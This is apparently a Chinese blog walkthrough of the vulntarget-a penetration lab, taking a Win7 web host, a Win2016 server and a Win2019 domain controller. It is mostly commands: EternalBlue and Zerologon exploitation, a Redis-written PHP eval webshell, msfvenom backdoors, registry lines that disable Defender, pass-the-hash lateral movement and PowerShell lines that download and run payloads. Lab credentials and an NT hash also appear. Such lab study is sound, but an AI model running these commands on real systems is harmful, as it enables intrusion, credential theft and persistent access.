Vulntarget-a靶场实战记录

vnlutarget-a靶场环境

在这里插入图片描述

靶场地址:https://github.com/crow821/vulntarget

攻击机Kali(2024.2)

192.168.0.2

web服务(Win7)

外网IP:192.168.10.130
内网IP:10.0.20.98
账户:win7 admin

win7网络配置

域主机(Win2016 )

内网1:10.0.20.99
内网2:10.0.10.111
账户1:Administrator Admin@123
账户2:vulntarget.com\win2016 Admin#123

win2016网络配置

域控(Win2019)

内网:10.0.10.110
账户:administrator Admin@666

在这里插入图片描述

使用的技术

通达OA系统漏洞
Redis未授权访问漏洞
ms17-010永恒之蓝
代理转发内网跳板
CVE-2020-1472 域控杀器Zerologon
wmiexec/smbexec横向移动
msfconsole
cobalt strike


1 Win7

1.1 信息收集

Kali使用nmap扫描目标主机(192.168.10.130)。

nmap -A -sV 192.168.10.130

结果:获取到目标主机的信息。

​ 主机版本:Windows 7专业版

​ 开放端口:80、135、139、445

80端口是http,可以对其进行访问。

135、139、445端口均是SMB服务的端口。

依据目标主机版本是win7,且开放了445端口,可以考虑到目标主机可能永恒之蓝漏洞。

EternalBlue【永恒之蓝】漏洞

在这里插入图片描述

1.1.1 访问80端口

在Kali中,使用火狐浏览器访问目标主机的80端口。

192.168.10.130:80

结果:发现开放的页面是 通达OA 2020。

在这里插入图片描述

通达OA系统可能存在可利用漏洞。

使用通达OA漏洞利用工具进行扫描。

结果:通达OA版本是Office Anywhere 11.3。存在任意文件上传漏洞。

xiaokp7/TongdaOATool: 通达OA漏洞检测工具

在这里插入图片描述

1.1.2 探测445端口

对445端口进行探测,确认是否存在永恒之蓝。

在Kali中,使用msfconsole。

msfconsole

search ms17_010

在这里插入图片描述

找到永恒之蓝扫描模块,扫描目标主机。

结果:存在永恒之蓝漏洞。

use auxiliary/scanner/smb/smb_ms17_010
set RHOSTS 192.168.10.130
run

在这里插入图片描述

1.2 利用80、445端口存在的漏洞

1.2.2 利用80端口

利用任意文件上传漏洞,上传shell。

在这里插入图片描述

使用中国蚁剑连接。

获取目标主机system权限。

在这里插入图片描述

1.2.2 利用445端口

由于存在永恒之蓝漏洞。在Kali中,msf直接利用 exploit/windows/smb/ms17_010_eternalblue。

use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.10.130
run

在这里插入图片描述
在这里插入图片描述

1.3 创建Conbalt Strike服务

上线CS服务,以进一步深入系统、保持权限并执行后续操作。

Cobalt Strike安装与使用_cobalt strike4.4-CSDN博客

在Kali中,新建会话。

在CS的文件里使用root权限,上线CS。

su root
./teamserver 192.168.10.129 123456

在这里插入图片描述

在客户端连接服务端。

./cobaltstrike

在这里插入图片描述
在这里插入图片描述

创建监听器。

名字:win7-TDOA
HTTP地址为:192.168.10.130
端口设定为:7777

在这里插入图片描述

由于在Kali中,使用永恒之蓝漏洞获取了meterpreter,直接利用msf会话注入CS。

#后台当前session
bg

#加载msf的payload注入功能
use exploit/windows/local/payload_inject

#设置payload
set payload windows/meterpreter/reverse_http

#设置CS服务器地址及端口
set LHOST 192.168.10.129
set LPORT 7777

#设置监控会话
set session 1

#设置当前msf不接受监听数据
set disablepayloadhander true

#攻击
run

在这里插入图片描述

成功上线CS。

在这里插入图片描述

1.4 内网渗透

对当前的主机进行渗透。

获取当前获取的主机的网络结构。

shell ipconfig

结果:目标主机存在两个网段。
IP1:10.0.20.98/24
IP2:192.168.10.130/24

在这里插入图片描述

扫描当前的网络及重要的端口。

portscan 10.0.20.0-10.0.20.255 1-1024,3389,5000-6400 arp 1024

结果:在该网段中存在两台主机。除了已攻陷的主机win7外,还存在另外一台主机(10.0.20.99)。
​ 主机IP:10.0.20.99
​ 端口:80、6379、5985

在这里插入图片描述


2 Windows server2016

已知收集内网信息:
主机IP:10.0.20.99
端口:80、6379、5985

2.1 设置代理通信

由于无法使用Kali直接访问内网, 因此无法对内网的主机(10.0.20.99)进行扫描和漏洞探测。想要访问内网,解决方法是可以通过在内网主机win7添加路由及设置代理,将win7作为跳板机,从而让攻击机Kali访问到内网。

2.1.2 添加路由

#进入之前设置的会话1
sessions 1

#添加路由
run autoroute -s 10.0.20.0/24

在这里插入图片描述

在CS中,设置Socks代理,代理端口为8888。

在这里插入图片描述

在这里插入图片描述

2.1.3 设置代理

在Kali中,利用proxychains 配合Socks代理通信。

su root
vim /etc/proxychains4.conf

#在proxychains4.conf文件底部中,添加Socks代理
socks4 127.0.0.1 8888

#保存退出

在这里插入图片描述

2.2 信息收集

设置好代理后,使用之前从win7(10.0.20.98)中收集到同网段的主机(10.0.20.99) 的端口(80,5895,6379)进一步进行扫描。

proxychains nmap -Pn -sT -p80,5895,6379 10.0.20.99

结果:三个端口均开启。

​ 80端口为http服务,6379端口为redis服务。5895端口开放的服务未知,可以先搁置。

在这里插入图片描述

攻击机Kali使用dirsearch工具,对内网主机(10.0.20.99)目录进行扫描查看。看看是否能获取到有用的信息。

proxychains python dirsearch.py -u http://10.0.20.99 -i 200

在这里插入图片描述
结果:对扫描结果进行查看。可筛选出可以查阅的文件: /l.php,/phpinfo.php。
在这里插入图片描述
在这里插入图片描述

2.2.1 80端口

访问10.0.20.99的80端口。

使用火狐浏览器的FoxyProxy代理工具,添加代理。

#标题
8888

#类型
SOCKS4

#端口
8888

在这里插入图片描述

在这里插入图片描述

点击开启设置好的代理。

在这里插入图片描述

对10.0.20.99:80进行访问。

10.0.20.99:80

结果:发现主机(10.0.20.99)开放的80端口内容。
访问/l.php。

10.0.20.99/l.php
10.0.20.99/phpinfo.php

结果:发现两个文件是探针。通过查看探针(存储着服务器的配置信息),可以获取到目标主机服务器的相关配置信息。如:目标主机名是Win2016 。
在这里插入图片描述

在这里插入图片描述

ora-user-images%5Cimage-20240612111555279.png&pos_id=img-Aecc0mnl-1718271183101)

目标主机win2016(10.0.20.99)可能存在phpmyadmin日志写入shell漏洞。(由于本人未安装对应工具,暂时搁置该80端口)
考虑6379端口的redis是否存在漏洞。

phpMyAdmin利用日志文件GetSHELL

2.2.2 6379端口

查看6379的Redis端口是否存在未授权访问漏洞。

proxychains redis-cli -h 10.0.20.99

在这里插入图片描述

发现目标端口redis存在未授权访问漏洞。

由于该服务器开启了http服务,可以不用写反弹shell。

写入webshell需要文件路径,而文件路径在探针中,可以获取到。

在这里插入图片描述

在会话中,写入webshell。

config set dir "C:/phpStudy/PHPTutorial/www/"
config set dbfilename shell.php
set x "<?php @eval($_POST['tpa']);?>"
save

在这里插入图片描述

使用蚁剑远程连接webshell。

由于访问主机2016(10.0.20.99)是需要使用代理的,蚁剑需要设置相应的代理才能对访问主机win2016。

设置蚁剑的代理。

协议:SOCKS4

代理服务器:192.168.10.129

端口:8888

测试连接,测试URL:http://10.0.20.99
测试连接显示成功,保存设置,重启蚁剑

在这里插入图片描述

重启蚁剑后,添加数据。

URL地址:http://10.0.20.99/shell.php
连接密码:tpa

在这里插入图片描述

2.2.3 获取win2016的信息

蚁剑连接后,开启虚拟终端。

查看当前权限,当前权限为system。

whoami

在这里插入图片描述

由于win2016是一台开启了http的服务器,使用quser命令查看当前上线的计算机。

quser

结果:只有一台win2016本机在线。

在这里插入图片描述

查看网络配置。

ipconfig /all

发现域名:vulntarget.com,内网IP:10.0.10.111/24。

在这里插入图片描述

2.3 win2016 msf上线

2.3.1 msf反向连接

生成反向shell。

LHOST设置为主机win7的内网ip地址:LHOST=10.0.20.98。

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.20.98 LPORT=5555 -f exe -o 5555.exe

在这里插入图片描述

设置监听。

proxychains msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
set RHOST 10.0.20.98
set LPORT 5555
run

在这里插入图片描述

通过蚁剑上传反向shell:5555.exe。

在这里插入图片描述

执行反向5555.shell。

在这里插入图片描述

运行发现无法连接。

在这里插入图片描述

猜测存在防火墙、组策略或有杀毒软件的限制。

①防火墙

使用蚁剑,关闭防火墙。

#查看防火墙配置
netsh advfirewall show allprofiles 

#关闭防火墙
netsh advfirewall set allprofiles state off

在这里插入图片描述

组策略

使用蚁剑,重置组策略,并强制执行。

#不会产生显式的回显,但是它会执行相应的组策略更新操作
gpupdate /force		

在这里插入图片描述

杀毒软件

使用蚁剑,查看win2016进程是否存在防护软件。

tasklist

在这里插入图片描述

将进程列表复制到蚁剑插件(As-Exploits),进行杀毒软件的识别。

结果:存在杀毒软件(Windows DeFender)。

在这里插入图片描述

将杀软关闭。

REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f

在这里插入图片描述

重新运行反向shell。

在这里插入图片描述

依然连接不上。

在这里插入图片描述

反向shell无法上线,考虑正向shell上线。

2.3.2 msf正向连接

生成正向shell。

msfvenom -p windows/x64/meterpreter/bind_tcp  LPORT=4444 -f exe >4444.exe

设置监听。

proxychains msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
set RHOST 10.0.20.99
set LPORT 4444
run

在这里插入图片描述

将生成的shell,通过蚁剑上传至主机win2016上。

在这里插入图片描述

重新运行正向shell(4444.exe)。
运行shell。
在这里插入图片描述

连接成功。

在这里插入图片描述

2.4 权限维持。

使用CS,创建新的监听器。

名字:csfxx
Payload:Beacon TCP
端口:5557

在这里插入图片描述

生成Windows可执行程序的后门。

在这里插入图片描述

监听器为:CSFX
勾选”使用x64 payload“

在这里插入图片描述

使用蚁剑,将生成的后面(beacon.exe)上传至win2016(10.0.20.99)。

在这里插入图片描述

运行该后门(beacon.exe)。

beacon.exe

在这里插入图片描述

通过Win7(10.0.20.98)监听。

结果:监听成功上线。

connect 10.0.20.99 5557

在这里插入图片描述

3 win2019

3.1 信息收集

目前就差个DC域控就攻破了。

进行信息收集,目标为找到域控。

在使用正向shell获取的会话中,进行信息收集。

arp

在这里插入图片描述

探测下主域,定位域控。

run post/windows/gather/enum_domain

结果:得到域控IP:10.0.10.110

​ 账号:win2019.vulntarget.com

​ 域:balsec.com

在这里插入图片描述

要进一步进行渗透,需要添加路由。

因为这里用Win7的机器直接ping不通DC,Win2016有10.0.10.111和域控在同一C段可以ping通域控,还需要添加新的10.0.10.0/24的路由,因为已经上线了msf,直接添加路由。

run post/multi/manage/autoroute

在这里插入图片描述

查看路由。

run autoroute -p

在这里插入图片描述

使用CS,在win2016中设置代理转发端口。

socks 8887

在这里插入图片描述

同时也要在Kali上,设置8887代理端口,并将之前8888代理端口注释掉。

su root
vim /etc/proxychains4.conf

在这里插入图片描述

nmap扫描域控主机(10.0.10.110)。

proxychains4 nmap -Pn -sT 10.0.10.110

结果:发现扫描结果无效。

在这里插入图片描述

使用CS对域控主机(10.0.10.110)的注意端口进行扫描。

portscan 10.0.10.0-10.0.10.255 1-1024,3389,5000-6000 arp 1024

结果:主机win2019存在的端口有(5985、636、593、464、389、139、135、445)。

在这里插入图片描述

在这里插入图片描述

3.2 CVE-2020-1472

看到开放了445端口,考虑存在CVE-2020-1472。

对455端口进行扫描。

proxychains nmap 10.0.10.110 -p445

在这里插入图片描述
不确定445端口是否开启。

尝试使用CVE-2020-1472验证脚本(验证时间可能会有些久)。

SecuraBV/CVE-2020-1472: Test tool for CVE-2020-1472 (github.com)

进入下载后CVE-2020-1472验证脚本的目录。

proxychains python3 zerologon_tester.py WIN2019 10.0.10.110

结果:确实存在Zerologon的漏洞。

在这里插入图片描述

在这里插入图片描述

存在漏洞,对该漏洞进一步利用。

利用CVE-2020-1472的exploit。

https://github.com/dirkjanm/CVE-2020-1472

进入到CVE-2020-1472的exploit目录下。

proxychains python cve-2020-1472-exploit.py WIN2019 10.0.10.110

在这里插入图片描述

此时密码已被置空。

3.3 hash

利用python安装的impacket包中,examples目录下的exploit获取哈希值。

python3 secretsdump.py 域名称/域控主机名$@域控IP -no-pass

cd /home/kali/.local/bin
proxychains python3 secretsdump.py vulntarget/win2019\$@10.0.10.110 -no-pass

在这里插入图片描述
在这里插入图片描述

得到administrator的hash。

aad3b435b51404eeaad3b435b51404ee:c7c654da31ce51cbeecfef99e637be15

破解hash。

创建dchash.txt文件。

vim dchash.txt

输入获取的hash。
aad3b435b51404eeaad3b435b51404ee:c7c654da31ce51cbeecfef99e637be15

在这里插入图片描述

使用破解hash。

password.txt是字典。可以自己创建,dchash.txt创建的方式相同。或者使用其他渠道获取的字典。

su root
john --format=NT --wordlist=password.txt dchash.txt

在这里插入图片描述

获取出域控密码:Admin@666。右侧的盐(字符串)没有解除来,先忽略。

3.4 横向移动

利用smbexex.py 横向移动,获取到域控权限。

smbexec.py:

功能: 用于在目标系统上执行命令或脚本,利用的是SMB协议。

适用情况: 适合于运行了SMB服务的系统,可以通过445端口(SMB端口)与目标进行通信。

proxychains python3 smbexec.py -hashes aad3b435b51404eeaad3b435b51404ee:c7c654da31ce51cbeecfef99e637be15 administrator@10.0.10.110

在这里插入图片描述

3.5 Kali远程连接

在会话中,开启远程桌面。

注册表添加一项键值,用于配置远程桌面服务的端口。

reg add "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /t REG_DWORD /v portnumber /d 3389 /f

在这里插入图片描述

发现编码错误。

查看域控编码。

chcp.com

在这里插入图片描述

获取到域控编码格式936。

加入编码格式936,重启获取域控。

roxychains python3 smbexec.py -hashes aad3b435b51404eeaad3b435b51404ee:c7c654da31ce51cbeecfef99e637be15 -codec cp936  administrator@10.0.10.110

在这里插入图片描述

重新输入命令,注册表添加一项键值,用于配置远程桌面服务的端口号。

reg add "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /t REG_DWORD /v portnumber /d 3389 /f

在这里插入图片描述

发现返回结果为:操作成功。

说明编码格式正确,可以进行下一步。

设置允许远程桌面连接。

wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1

在这里插入图片描述

允许其他设备通过 TCP 端口 3389 连接到当前计算机的远程桌面服务。

netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow

在这里插入图片描述

远程连接域控win2019。连接后域控后,基本是完成了本次靶场。

proxychains4 rdesktop 10.0.10.110

账号:vulntarget.com\administrator 
密码:Admin@666

在这里插入图片描述
在这里插入图片描述

注:在未手动取消勾选”仅允许使用网络级别省份验证的远程桌面的计算机连接“,kali无法远程登陆域控。

在这里插入图片描述

需要手动取消勾选win2019主机的系统属性里远程"仅允许使用网络级别省份验证的远程桌面的计算机连接",否则无法远程连接。具体原因未知。

参考:[永久开源] vulntarget-a_打靶记录 (qq.com)的3.4.1

在这里插入图片描述

3.6 域控的后续权限维持

3.6.1 msf权限维持

更换远程连接方式。

尝试使用CS进行远程连接。

关闭防火墙。

netsh advfirewall set allprofiles state off

在这里插入图片描述

生成正向后门。

msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=8886 -f exe -o 8886bind.exe

在这里插入图片描述

由于win2016(10.0.20.99)开启了80端口有Web服务,可以先上传到这台计算机。随后使用域控下载下载win2016上的后门(8886bind)。

上传到win2016。

在这里插入图片描述

在域控中,下载刚刚上传后门(8886bind),并运行后门。

powershell (new-object System.Net.WebClient).DownloadFile('http://10.0.10.111/8886bind.exe','c:\tp.exe')

在这里插入图片描述

注:上传的文件路径为:C:\,可以通过wmiexec.py进入该目录。若目录路径为C:\Windows\system32,后门无法运行(会话会点开,无法再次连接)。

wmiexec.py 是一个Python脚本,通常用于执行WMI(Windows Management Instrumentation)操作。具体来说,它主要用于在Windows系统上执行远程操作,例如执行命令、获取系统信息或者管理远程系统。

WMI是Windows操作系统提供的管理和监控框架,通过WMI可以访问和控制操作系统的各种管理信息和功能。wmiexec.py可能是一个用于利用WMI接口执行命令或者脚本的工具,通常在系统管理、远程管理和安全审计等场景下使用。

在这里插入图片描述

使用 wmiexec.py横向移动,获取到域控权限。

proxychains python3 wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:c7c654da31ce51cbeecfef99e637be15  vulntarget/administrator@10.0.10.110

在这里插入图片描述

运行tp.exe。

tp.exe

在这里插入图片描述

msf启动还是得利用win2016作为跳板机代理转发。

proxychains msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
set lport 8886
set rhost 10.0.10.110
run

在这里插入图片描述

成功获取meterpreter。

3.6.2 CS权限维持

使用CS,创建监听器。

名字:dc_tcp
Palyload:Beacon TCP
Port:5998

在这里插入图片描述

生成后门。

在这里插入图片描述

使用蚁剑,将生成的后门(dc_5998)上传至win2016(10.0.20.99)。

在这里插入图片描述

使用域控下载后门(dc_5998)。

powershell (new-object System.Net.WebClient).DownloadFile('http://10.0.10.111/dc_5998.exe','c:\dc_5998.exe')

在这里插入图片描述

运行dc_5998.exe。

在这里插入图片描述

连接win2019。

connect 10.0.10.110 5998

在这里插入图片描述

成功获取到域控主机权限。

在这里插入图片描述

参考

打穿内网之Vulntarget-a靶场实战记录-CSDN博客

[永久开源] vulntarget-a_打靶记录 (qq.com)

vulntarget漏洞靶场系列(一) (qq.com)
Cobalt Strike安装与使用_cobalt strike4.4-CSDN博客
dirkjanm/CVE-2020-1472: PoC for Zerologon - all research credits go to Tom Tervoort of Secura (github.com)
SecuraBV/CVE-2020-1472: Test tool for CVE-2020-1472 (github.com)
phpMyAdmin利用日志文件GetSHELL

  • 32
    点赞
  • 45
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值